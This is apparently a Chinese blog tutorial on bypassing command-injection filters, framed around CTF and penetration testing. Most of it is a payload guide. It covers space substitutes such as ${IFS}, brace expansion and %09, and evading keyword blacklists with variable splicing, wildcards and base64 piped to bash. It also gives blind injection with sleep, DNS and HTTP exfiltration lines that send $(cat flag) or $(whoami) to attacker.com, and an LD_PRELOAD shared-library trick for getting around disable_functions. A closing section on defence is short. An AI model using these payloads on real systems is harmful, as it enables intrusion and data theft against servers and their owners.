
1. 项目概述从“空格被过滤”说起聊聊命令执行绕道的艺术看到这个标题很多刚入门安全测试的朋友可能会有点懵“命令执行漏洞我知道但为什么空格被过滤了还要找替代符号这跟‘从零基础到精通’有什么关系” 别急这正是我们今天要深入探讨的核心。命令执行漏洞的利用远不止于找到一个注入点然后执行cat /etc/passwd那么简单。在实际的攻防对抗中防守方也就是开发和安全工程师会设置层层过滤比如把命令里常见的空格、分号、反引号都给你禁了。这时候攻击方或者说我们这些做安全研究、渗透测试的人就得像个魔术师在有限的条件下变出戏法来。标题里那个具体的问题——“当利用远程命令执行漏洞执行系统命令时空格被防护代码过滤以下哪个符号可以替代”——就是一个非常经典且基础的“绕道”场景。它像一把钥匙背后通向的是一个庞大、精巧且充满挑战的领域命令执行的绕过技术。这篇文章就是我结合自己这些年挖洞、打CTF、做代码审计的经验为你系统梳理的一份“绕道指南”。我们不只回答“哪个符号能替代空格”更要弄明白为什么这些符号能替代在什么场景下用哪个更有效以及面对更复杂的过滤比如黑名单、长度限制、无回显时我们手里还有哪些“王牌”。无论你是刚刚接触Web安全的新手还是已经有一定基础想深化理解的同行收藏这篇都能帮你建立起一套应对命令执行过滤的实战思维。我们会从最简单的符号替换开始一步步深入到利用系统特性、编码技巧乃至时间盲注等高级手法目标是让你不仅能复现漏洞更能理解漏洞背后的逻辑真正做到举一反三。2. 命令执行漏洞基础与核心绕过思路拆解2.1 命令执行漏洞的本质当输入变成指令在深入绕过技巧之前我们必须先统一认知什么是命令执行漏洞简单说就是应用程序在调用系统Shell执行命令时未对用户输入进行充分过滤导致攻击者能够注入并执行任意系统命令。最常见的就是PHP里的system()、exec()、shell_exec()这些函数或者像Java的Runtime.getRuntime().exec()Python的os.system()等。举个例子一个简单的PHP页面功能是ping一个用户输入的地址?php $ip $_GET[ip]; system(ping -c 4 . $ip); ?正常用户输入127.0.0.1系统执行ping -c 4 127.0.0.1。但如果攻击者输入127.0.0.1; cat /etc/passwd拼接后的命令就变成了ping -c 4 127.0.0.1; cat /etc/passwd。分号;在Linux Shell中是命令分隔符于是系统会先执行ping再执行cat /etc/passwd导致敏感文件泄露。这就是最原始的命令注入。那么防护代码通常会做什么他们会设置一个“黑名单”或者“过滤规则”。初级防护可能直接过滤掉空格、分号、反斜杠、反引号等明显用于分隔命令或参数的字符。标题中提到的“空格被过滤”就是第一道也是最常见的防线。它的逻辑很直接没有空格你怎么把命令和参数分开比如cat/etc/passwdShell会认为这是一个名为cat/etc/passwd的奇怪命令而不是用cat命令去读/etc/passwd文件。2.2 核心绕过哲学理解Shell的解析规则所有绕过技巧的根基都源于对Shell如Bash如何解析命令的深刻理解。Shell并不是一个死板的命令执行器它有一套复杂的解析规则包括参数分割、变量扩展、通配符展开、命令替换等。我们的目标就是利用这些规则在过滤器的眼皮子底下构造出能被Shell正确解析但又能绕过简单字符串匹配的“有效载荷”。核心思路一寻找等价的替代分隔符。空格的作用是分隔命令和它的参数。在Shell中除了空格还有其他方式能达到同样的效果吗答案是肯定的。这就是标题问题的直接答案也是我们下一章要详细展开的。核心思路二改变命令的呈现形式。如果命令或参数本身被过滤比如黑名单里有cat、flag等关键词我们可以通过拼接、编码、引用系统已有资源等方式动态构造出这些字符串。核心思路三利用环境与上下文。当直接执行被阻断如PHP的disable_functions我们可以尝试劫持执行流程如LD_PRELOAD或者利用其他未被禁用的函数如mail()作为跳板。核心思路四应对无回显场景。命令执行了但你看不到输出盲注。这时候就需要利用时间延迟、DNS外带、HTTP请求外带等技术把数据一点点“挤”出来。理解了这四点你就掌握了命令执行绕过的“道”。接下来我们进入“术”的层面从最简单的空格绕过开始。3. 空格过滤的替代方案不止一个符号回到我们最初的问题空格被过滤了用什么这里我为你整理了一个实战中常用的替代符号列表并解释其原理。3.1 内部字段分隔符${IFS}与$IFS$9这是最经典、最可靠的空格替代方案之一。${IFS}IFS是Shell的一个环境变量全称是“Internal Field Separator”即内部字段分隔符。默认情况下它的值就是空格、制表符Tab和换行符。当我们使用${IFS}时Shell会进行变量扩展将其值空格作为分隔符插入。例如cat${IFS}/etc/passwd会被解析为cat /etc/passwd。$IFS$9或$IFS$1等这里用了一个小技巧。$9在Shell中代表传递给脚本或函数的第九个参数。如果脚本没有那么多参数$9通常是一个空字符串。所以$IFS$9相当于IFS变量的值连接上一个空字符串结果还是IFS的值空格。为什么要加$9因为有些简单的过滤规则可能直接匹配${IFS}这个字符串但不太会匹配$IFS$9这种看起来像变量的组合。$1到$9都可以用原理相同。实操心得在实战中如果${IFS}被过滤可以尝试$IFS$9。如果还不行试试$IFS后面跟一个不常见的特殊变量如$IFS$$代表所有位置参数。${IFS}在大多数Linux发行版的Bash下都有效兼容性极佳。3.2 重定向符号和重定向符号用于将文件内容作为命令的标准输入。巧妙的是它本身在命令中也能起到“分隔”作用虽然语义不同但能达到执行命令的效果。cat/etc/passwd这个命令是合法的。它等价于cat /etc/passwd意思是把/etc/passwd文件的内容作为cat命令的输入。由于前后不需要空格虽然通常我们会加上它完美绕过了对空格的检查。Shell会正确解析cat、、/etc/passwd这三个部分。cat/etc/passwd表示以读写方式打开文件。同样它可以无缝连接命令和文件名。注意事项这种方法适用于将文件内容作为输入的命令如cat、grep、sort。对于需要多个参数的命令如ls -la /tmp用替代中间的空格就不太直观了通常需要结合其他技巧。3.3 花括号扩展{cat,flag.php}这是Bash的一个非常有趣的特性花括号扩展{}。它可以将逗号分隔的列表展开为多个独立的词。{cat,flag.php}Shell会将其展开为两个独立的词cat和flag.php。注意展开后的两个词之间会自动有一个空格所以{cat,flag.php}经过Shell解析后就变成了cat flag.php。逗号在这里充当了“隐形空格生成器”的角色。你可以扩展这个技巧{ls,-la,/tmp}会展开为ls -la /tmp。避坑指南花括号扩展不能包含空格除非转义或引用否则会破坏语法。例如{cat, flag.php}逗号后有空格是错误的。另外这个技巧高度依赖于目标系统使用的是Bash或支持类似扩展的Shell。3.4 其他字符与编码制表符Tab在Shell中Tab键通常用于命令补全但它本身也是一个空白字符可以用于分隔参数。在HTTP请求中Tab的URL编码是%09。所以cat%09/etc/passwd可能有效。但很多过滤器也会把%09加入黑名单。换行符换行符\nURL编码%0a和回车符\rURL编码%0d在Shell中也是命令终止符。虽然它们主要用来分隔多条命令但在某些解析上下文中也能起到类似空格的作用。例如在PHP的shell_exec()中%0a常被用作命令分隔符。空变量定义一个空变量然后利用它。例如X$ ; cat${X}/etc/passwd。这里$ 是Bash中表示一个空格的特殊语法。但这种方法通常比较冗长。那么标题问题的答案是什么从上面的分析看能替代空格的符号不止一个。但最常见的、最应该首先尝试的通常是${IFS}或。具体哪个有效取决于过滤器的严格程度和上下文环境。在实际测试中建议按顺序尝试${IFS}-$IFS$9--{cat,file}-%09。4. 进阶绕过当过滤不止于空格实战中的防护系统不会只过滤空格。他们往往有一个长长的黑名单或者使用更复杂的正则表达式匹配。这时我们就需要组合拳。4.1 命令/参数黑名单绕过假设过滤器不仅过滤空格还黑名单了cat、flag、etc、passwd等关键词。1. 变量拼接这是最直观的方法。既然直接写cat flag.php不行我们就把它拆开。ac;bat;cfl;dag.php $a$b ${IFS} $c$d执行后变量扩展的结果就是cat flag.php。你甚至可以用更零碎的方式xc;ya;zt; $x$y$z flag.php。2. 通配符*和?Linux的通配符在绕过路径和文件名过滤时极其强大。cat fla*匹配当前目录下以fla开头的所有文件。cat fla?.php匹配像flag.php、flah.php这样的文件?代表一个任意字符。高阶技巧用/???/?at代替/bin/cat。?代表一个任意字符。/???/?at可能匹配到/bin/cat、/usr/bin/cat等。你可以用ls /???/?a?来查看可能匹配到的命令。更进一步/???/?[a]t ?lag.php也能工作[a]是字符组依然匹配字母a。3. 编码绕过将命令编码让Shell解码后执行。Base64编码echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # 或者 echo Y2F0IC9ldGMvcGFzc3dk | base64 -d # 或者 $(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)这里Y2F0IC9ldGMvcGFzc3dk是cat /etc/passwd的base64编码。我们通过管道传给base64 -d解码再交给bash执行。Hex编码echo 636174202f6574632f706173737764 | xxd -r -p | bashxxd -r -p是将十六进制字符串反转回二进制数据。4. 引号干扰在命令或参数中插入单引号或双引号有时可以绕过简单的字符串匹配。cat /etc/passwd cat /etc/passwd cat /etc/passwd cat /etc/passwdShell在解析时会将这些引号对合并最终执行的命令依然是正确的。5. 反斜杠转义在字符间插入反斜杠在某些上下文中也能绕过。c\a\t /etc/passwd cat /e\tc/passwd反斜杠在这里是转义字符但和后面的字符结合仍然被解析为原来的字母。4.2 命令分隔符与截断即使我们构造出了cat flag.php我们可能还需要执行多条命令或者结束当前命令。常见的分隔符有;顺序执行无论前一个命令成功与否。将命令放入后台执行。只有前一个命令成功返回0才执行下一个。||只有前一个命令失败返回非0才执行下一个。|管道将前一个命令的输出作为后一个命令的输入。%0a换行、%0d回车在Web上下文如PHP中经常用作命令分隔符。如果分号;被过滤可以尝试%0a。如果被过滤可以尝试%26的URL编码。同时也要注意命令的终止。在PHP中%00空字节有时可以截断后面的字符串但这对PHP版本和配置有要求。4.3 无回显命令执行与外带数据这是命令执行漏洞利用中的一个难点和重点。你执行了命令但页面没有任何输出盲注。你怎么知道命令是否执行成功怎么获取命令执行的结果1. 时间盲注原理通过命令执行引入时间延迟并根据延迟是否发生来判断某个条件是否为真。这通常用于盲注数据。基础用法sleep 5。如果页面响应延迟了5秒说明命令执行了。用于数据提取结合条件判断。例如判断flag的第一个字符是不是fif [ $(cat flag.php | cut -c 1) f ]; then sleep 5; fi如果第一个字符是f就睡眠5秒导致页面响应延迟。通过二分法可以逐个字符猜解出整个文件内容。这就是我们在CTF中常用的“时间盲注”脚本的原理。2. DNS外带将数据放在域名中通过DNS查询请求带出来。curl whoami.your-domain.com # 或者 ping -c 1 cat flag.php | base64.your-domain.com你需要拥有一个域名如your-domain.com并配置其DNS日志记录。当目标服务器执行上述命令时它会尝试解析像root.your-domain.com或YmFzZTY0ZW5jb2RlZGZsYWc.your-domain.com这样的域名你就能在DNS日志中看到whoami的结果或flag.php的base64编码内容。3. HTTP请求外带利用能够发起网络请求的命令如curl、wget将数据作为URL参数或请求的一部分发送到你的服务器。curl http://your-server.com/leak?data$(cat flag.php | base64 | tr -d \n) wget http://your-server.com/$(whoami)在你的服务器上监听HTTP请求查看访问日志即可获取数据。实操心得时间盲注速度慢但通用性强只要目标能执行sleep或能引入延迟的命令如ping -c 10 127.0.0.1就行。DNS/HTTP外带效率高但依赖于目标服务器能出网有外网连接并且安装了curl、wget、dig、nslookup等工具。在实际渗透测试中优先尝试外带方法。5. 高阶场景突破disable_functions与无文件落地在一些严格的安全环境中运维人员会通过PHP的disable_functions配置直接禁用system、exec、shell_exec、passthru等所有能执行系统命令的函数。这时候常规的命令注入点就“哑火”了。我们需要更高级的技巧。5.1 LD_PRELOAD劫持利用系统机制“借壳生蛋”这是绕过disable_functions最经典的方法之一利用了Linux系统的动态链接库加载机制。原理LD_PRELOAD是一个环境变量它可以让你指定一个共享库.so文件这个库会在程序运行时最先被加载并可以覆盖标准库中的函数。如果我们能控制这个环境变量并让一个PHP函数比如mail()去触发一个会调用被我们覆盖的函数的系统命令我们就能执行任意代码。为什么常选mail()函数因为mail()函数内部会调用系统的/usr/sbin/sendmail程序来发送邮件。而sendmail这个外部程序在运行时会调用一些标准的C库函数比如getuid()、geteuid()等。这些函数正是我们可以通过LD_PRELOAD劫持的目标。实现步骤编写恶意C代码创建一个.c文件定义一个函数如getuid()在这个函数里执行我们想要的系统命令如system(“id /tmp/result”)。并用__attribute__((constructor))确保这个函数在库被加载时自动执行。// hack.c #include stdlib.h #include stdio.h #include unistd.h __attribute__ ((__constructor__)) void angel (void){ unsetenv(LD_PRELOAD); system(id /tmp/result 21); }编译成共享库在攻击机上需要与目标架构相同如都是x86_64编译这个C文件为.so文件。gcc -shared -fPIC hack.c -o hack.so上传并触发通过文件上传漏洞或已有的Webshell将hack.so上传到目标服务器一个有写权限的目录如/tmp。然后编写一个PHP脚本通过putenv(“LD_PRELOAD/tmp/hack.so”)设置环境变量再调用mail()函数。?php putenv(LD_PRELOAD/tmp/hack.so); mail(alocalhost,,,); ?当mail()被调用PHP进程会启动sendmail程序。由于设置了LD_PRELOAD系统会先加载我们的hack.so。hack.so中的angel函数构造函数随即执行运行system(“id”)命令并将结果写入/tmp/result。由于disable_functions只限制了PHP函数而system调用是由sendmail这个外部进程发起的因此成功绕过。注意事项与避坑依赖putenv此方法需要putenv函数未被禁用。依赖mail()或类似函数需要目标PHP启用了mail函数即配置了sendmail_path或者存在其他能启动外部进程的PHP函数如imap_mail、error_log在某些配置下也可行。需要写权限必须能将.so文件上传到服务器。架构匹配编译.so文件的环境最好与目标系统一致。现代绕过现代的攻击载荷会更灵活例如通过$_REQUEST接收要执行的命令而不是写死在C代码里实现“一句话木马”式的动态命令执行。5.2 利用其他未被禁用的函数如果LD_PRELOAD条件不满足可以寻找其他未被disable_functions禁用的、能间接执行代码的函数。imap_open()这个IMAP函数在特定参数下可以导致代码执行CVE-2018-19518。pcntl_exec()如果这个函数没被禁用它可以直接在当前进程空间执行指定程序是反弹Shell的利器。COM/DotNet组件Windows在WindowsPHP环境下如果启用了COM组件可以new COM(“WScript.Shell”)来执行命令。ImageMagick历史上ImageMagick库的漏洞GhostScript可以通过上传恶意图片触发命令执行。5.3 文件包含与序列化漏洞组合如果存在文件包含漏洞LFI可以尝试包含一些能执行代码的临时文件或日志文件。包含/proc/self/environ如果Web进程的环境变量中有可控内容如User-Agent可以将其污染为PHP代码然后包含/proc/self/environ来执行。包含日志文件将PHP代码写入访问日志或错误日志再包含该日志文件。包含Session文件如果Session内容可控可以写入PHP代码然后包含Session文件路径通常为/tmp/sess_[PHPSESSID]。如果存在反序列化漏洞可以构造一个能触发__destruct()或__wakeup()魔术方法并在其中调用危险函数如system的POP链。即使system被禁用也可能通过其他方式如调用phpinfo()来获取信息或者与文件包含等漏洞结合。6. 实战案例与综合技巧汇编理论说再多不如看几个实战中可能遇到的场景和综合应用。6.1 场景一CTF中的经典命令执行题题目特征一个简单的ping页面输入框返回ping的结果。目标是读取服务器上的flag文件。初步测试输入127.0.0.1; ls发现返回了目录列表。说明存在命令注入分号可用。尝试127.0.0.1; cat flag返回错误或空白。可能cat或flag被过滤。尝试127.0.0.1; ca\t fl\ag用反斜杠绕过。如果不行尝试127.0.0.1; cat flag。如果还不行尝试用其他命令读取127.0.0.1; more flag127.0.0.1; tail flag127.0.0.1; od -c flag以字符形式查看二进制/文本文件。如果flag文件名未知用通配符127.0.0.1; cat *127.0.0.1; cat f*。如果空格被过滤用${IFS}127.0.0.1; cat${IFS}*。如果输出被截断或不显示尝试外带127.0.0.1; curl http://your-server.com/$(cat flag | base64)。或者用DNS外带。如果没有任何回显盲注上时间盲注脚本逐个字符猜解。6.2 场景二长度限制下的命令执行题目特征命令注入点存在但输入长度被严格限制比如只能输入10个字符。绕过技巧文件构造法这是Linux Shell特性的一种巧妙利用核心命令是ls -t按时间排序列出文件和重定向。原理我们可以用创建一系列文件名恰好能拼成我们想执行的命令的文件。然后利用ls -t将这些文件名按创建时间顺序后创建的在前排列并输出到一个文件中。最后用sh执行这个文件。步骤 a. 假设我们要执行cat flag.php但长度受限。我们可以分多次输入创建以下文件注意转义 php ag.\\ fl\\ t \\ ca\\这里创建了5个文件文件名分别是php、ag.\、fl\、t \、ca\。注意反斜杠用于转义后面的空格或反斜杠本身确保文件名正确。 b. 执行ls -t a。ls -t会按时间倒序列出文件最后创建的在最前结果大概是ca\、t \、fl\、ag.\、php。这个列表被重定向到文件a中a文件的内容就是一行命令ca\ t \ fl\ ag.\ php。 c. 执行sh a。Shell读取文件a中的内容并执行。由于反斜杠的转义ca\ t \ fl\ ag.\ php会被解析为cat flag.php成功执行6.3 综合技巧表命令执行绕过速查为了方便你在实战中快速查阅我将常见的绕过方式整理成下表过滤目标绕过方法示例原理/备注空格${IFS}cat${IFS}flag.php使用Shell内部字段分隔符变量$IFS$9cat$IFS$9flag.php变量拼接$9通常为空或catflag.php输入重定向符号花括号{}{cat,flag.php}Bash的花括号扩展制表符%09cat%09flag.phpURL编码的Tab键分号;换行符%0a127.0.0.1%0aid在PHP等Web上下文中作为命令分隔符或 黑名单关键词变量拼接ac;bat;$a$b flag.php动态构造被禁字符串通配符*?cat fla*/???/?at flag.php模糊匹配文件名或路径编码Base64echo Y2F0IGZsYWcucGhw|base64 -d|bash编码后解码执行引号干扰cat flag.php插入引号破坏字符串匹配反斜杠转义c\a\t fl\ag.php插入转义符命令无回显时间盲注if [ \$(cat flag | cut -c 1) f ]; then sleep 5; fi通过条件判断引入延迟DNS外带curl \$(whoami).attacker.com将数据放在子域名中HTTP外带wget http://attacker.com/\$(cat flag)将数据放在URL或请求中disable_functionsLD_PRELOAD劫持编写恶意.so通过putenv设置用mail()触发劫持动态链接库其他函数利用pcntl_exec,imap_open(CVE)利用未禁用且有缺陷的函数组合漏洞文件包含日志污染/临时文件通过其他漏洞间接执行代码7. 防御视角与总结反思作为一名负责任的安全从业者我们研究绕过技术最终目的是为了更好地防御。从开发和安全建设角度如何避免命令执行漏洞绝对不要使用命令执行函数这是最根本的。如果业务逻辑必须调用系统命令应寻找更安全的替代方案如使用语言原生的APIPHP的file_get_contents代替catPython的os.listdir代替ls等。如果必须用请白名单如果确实需要执行外部命令应对用户输入进行白名单校验只允许预期的、有限的字符集如仅数字和点号对于IP地址。永远不要使用黑名单黑名单是防不住的。参数化与转义使用安全的函数来调用命令如PHP的escapeshellarg()或escapeshellcmd()。它们会对参数进行转义使其成为安全的字符串。但要注意这些函数并非银弹在复杂命令拼接时仍可能出问题。最小权限原则运行Web服务的进程如www-data用户应具有尽可能低的权限。不要以root身份运行Web服务。设置disable_functions在PHP中在php.ini中禁用不必要的危险函数system, exec, shell_exec, passthru, proc_open, popen等。输入验证与输出编码对所有用户输入进行严格的验证和过滤。对输出到页面的内容进行HTML编码防止XSS等二次攻击。使用Web应用防火墙部署WAF可以帮助拦截一些常见的命令注入攻击载荷。命令执行漏洞的攻防是一场永不停歇的“猫鼠游戏”。攻击者在不断寻找新的绕过技巧防御者也在持续加固自己的系统。这篇文章总结的绕过方式可能在今天有效明天就被新的WAF规则识别。因此最重要的不是记住所有Payload而是理解其背后的原理Shell的解析规则、系统的运行机制、过滤器的匹配逻辑。只有这样你才能在面对新的过滤环境时创造性地构思出新的绕过方法或者设计出更难以绕过的防御方案。安全之路道阻且长唯有多实践、多思考方能游刃有余。希望这篇长文能成为你工具箱里一件称手的兵器助你在实战和研究中披荆斩棘。